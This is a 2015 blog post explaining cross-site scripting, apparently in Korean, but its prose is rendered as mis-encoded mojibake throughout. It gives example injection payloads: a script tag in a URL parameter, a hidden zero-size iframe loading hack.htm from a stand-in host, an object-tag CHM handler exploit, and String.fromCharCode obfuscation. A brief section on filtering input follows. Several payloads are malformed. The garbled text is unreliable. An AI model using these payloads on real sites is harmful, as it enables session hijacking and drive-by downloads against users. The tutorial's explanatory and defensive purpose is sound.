Security Study/Web

XSS(ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŠธ)?

๐“›๐“พ๐“ฌ๐“ฎ๐“ฝ๐“ฎ_๐“ข๐“ฝ๐“ฎ๐“ต๐“ต๐“ช 2015. 9. 3.
728x90
๋ฐ˜์‘ํ˜•

1. XSS๋ž€?
Cross Site Scripting(XSS)์˜ ์•ฝ์ž์ด๋ฉฐ, ํŠน์ •ํŽ˜์ด์ง€์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋„ฃ์–ด์„œ ์„ธ์…˜์„ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ๋Œ€๋กœ ํ–‰๋™ํ•˜๋„๋ก ๋งŒ๋“œ๋Š” ์›น ๊ณต๊ฒฉ์˜ ์ผ์ข…์ด๋‹ค. XSS๋Š” ํฌ๊ฒŒ Reflected XSS์™€ Stored XSS๋กœ ๋ถ„๋ฅ˜ํ•  ์ˆ˜๊ฐ€ ์žˆ๋‹ค.

Reflected XSS๋Š” ๊ณต๊ฒฉ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž…๋œ URL์„ ์‚ฌ์šฉ์ž๊ฐ€ ์‰ฝ๊ฒŒ ํ™•์ธํ•  ์ˆ˜ ์—†๋„๋ก ๋ณ€ํ˜•์‹œํ‚จ ํ›„ ์ด๋ฉ”์ผ์ด๋‚˜ ๋‹ค๋ฅธ ์›น์‚ฌ์ดํŠธ ๋“ฑ์— ํด๋ฆญ์„ ์œ ๋„ํ•˜๋„๋ก ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค.

Stored XSS๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ผ๋ฐ˜ ๊ฒŒ์‹œํŒ ๋“ฑ์— ๊ณต๊ฒฉ์ž๊ฐ€ ๊ฒŒ์‹œ๊ธ€์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ํด๋ฆญํ•˜๋Š” ์ˆœ๊ฐ„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค.


2. XSS๋ฅผ ์ด์šฉํ•œ ๊ณต๊ฒฉ ์œ ํ˜• 4๊ฐ€์ง€
ใ„ฑ. <script> ํƒœ๊ทธ ์‚ฝ์ž…
   URL ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋„ฃ๋Š” ๋ฐฉ์‹์œผ๋กœ <script>์™€ </script> ๋„ฃ๋Š” ๋‚ด์šฉ์— ๋”ฐ๋ผ ๋‹ค์–‘ํ•œ ๊ธฐ๋ฒ•์„ ๊ตฌ์‚ฌํ•  ์ˆ˜ ์žˆ๋‹ค.
ex) <a href="<script>์•…์„ฑ์ฝ”๋“œ</script>" target="_blank"><script>์•…์„ฑ์ฝ”๋“œ</script>">http://sample.com/comment.cgi?comment=<script>์•…์„ฑ์ฝ”๋“œ</script>"> Click here </A>

ใ„ด. <iframe> ํƒœ๊ทธ ์‚ฝ์ž…
   iframe ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜์—ฌ ์•…์„ฑ ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ ์‚ฌ์ดํŠธ๋กœ ์„ธ์…˜์„ ์—ฐ๊ฒฐํ•ด ์ž๋™์œผ๋กœ ํ”„๋กœ๊ทธ๋žจ์„ ๋‹ค์šด๋กœ๋“œ ์‹œํ‚จ๋‹ค.
ex) <iframe src=http://sample.com/~bbs/hack.htm name="Click here" width=0 heigth=0frameborder=0></iframe>

ใ„ท. <Object> ํƒœ๊ทธ ์‚ฝ์ž…
   object ํƒœ๊ทธ์™€ ITS ํ”„๋กœํ† ์ฝœ ํ•ธ๋“ค๋Ÿฌ์— ์˜ํ•œ chm์ฒ˜๋ฆฌ์‹œ์˜ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•œ๋‹ค.
ex) object width=0 height=0 style=display:none; type=text/xscriptlet"
Data=mk:@MSITStore:mhtml:c:\nosuchfile.mht!</script>">http://sample.com/exploit_chm::exploit.html></script>
--> ์‚ฌ์šฉ์ž PC์— c:\nosuchfile.mht ํŒŒ์ผ์ด ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ(์‹œ์Šคํ…œ์— ์กด์žฌํ•˜์ง€ ์•Š๋Š” ํŒŒ์ผ ์ด๋ฆ„์„ ์ ๊ธฐ)http://sample.com/exploit_chm::exploit.html์— ์ ‘์†ํ•˜์—ฌ ๋กœ์ปฌ ์‹œ์Šคํ…œ ํŒŒ์ผ์ฒ˜๋Ÿผ exploit.html์„ ์‹คํ–‰ํ•œ๋‹ค. ๋‹น์—ฐํžˆ ์ด exploit.html์€ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ๋œ๋‹ค.

ใ„น.String.fromCharCode()ํ•จ์ˆ˜ ์‚ฝ์ž…
   String.fromCharCode()ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ URL ์ •๋ณด๋ฅผ ์ธ์ฝ”๋”ฉ ํ•˜๋Š” ๊ธฐ๋ฒ•์ด๋ฉฐ, ์ผ๋ฐ˜ ๋ฌธ์ž์—ด์„ 10์ง„์ˆ˜๋กœ ํ‘œ๊ธฐํ•˜์—ฌ ๊ด€๋ฆฌ์ž์˜ ๊ฐ€๋…์„ฑ์„ ๋–จ์–ด๋œจ๋ฆฐ๋‹ค.
ex) <script> alert(String.fromCharCode(116,101,115,116))</script>--> 116=t, 101=e, 115=s, 116=t

3. XSS๊ณต๊ฒฉ ๋Œ€์‘๋ฐฉ๋ฒ•

๊ฐ€์žฅ ์ค‘์š”ํ•œ ๊ฒƒ์€ ์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ์— ์‚ฌ์šฉ๋˜๋Š” ํŠน์ˆ˜๋ฌธ์ž์— ๋Œ€ํ•ด ์ดํ•ดํ•˜๊ณ  ํ•„ํ„ฐ๋ง์„ ํ•ด์•ผํ•œ๋‹ค.
ํšจ๊ณผ์ ์ธ ๋ฐฉ๋ฒ•์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅ ๊ฐ€๋Šฅํ•œ ๋ฌธ์ž๋งŒ์„ ์ง€์ •ํ•ด ๋†“๊ณ , ๊ทธ ๋ฌธ์ž์—ด์ด ์•„๋‹ˆ๋ฉด ํ•„ํ„ฐ๋ง์„ ํ•œ๋‹ค.

์‹ค์ œ๋กœ ๊ตฌํ˜„ํ•œ ์ฝ”๋“œ์ด๋‹ค.- replace(๋ฌธ์ž์—ด, ์ฐพ์„ ๋ฌธ์ž์—ด, ๋ฐ”๊ฟ€ ๋ฌธ์ž์—ด)

[์„ ์ˆ˜ ๊ณผ๋ชฉ] ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ, PHP ๋“ฑ์˜ ์›นํ”„๋กœ๊ทธ๋ž˜๋ฐ์–ธ์–ด

http://tiger5net.egloos.com/viewer/5055050!!! 


728x90
๋ฐ˜์‘ํ˜•

'Security Study > Web' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

๊ตฌ๊ธ€ ํ•ดํ‚น  (0) 2015.11.21
web 2์ผ์ฐจ  (0) 2015.10.23
webhacking  (0) 2015.10.16
What Is A Man In The Middle Attack? ์›๋ณธ  (0) 2015.09.03
What Is A Man In The Middle Attack?  (0) 2015.09.03

๋Œ“๊ธ€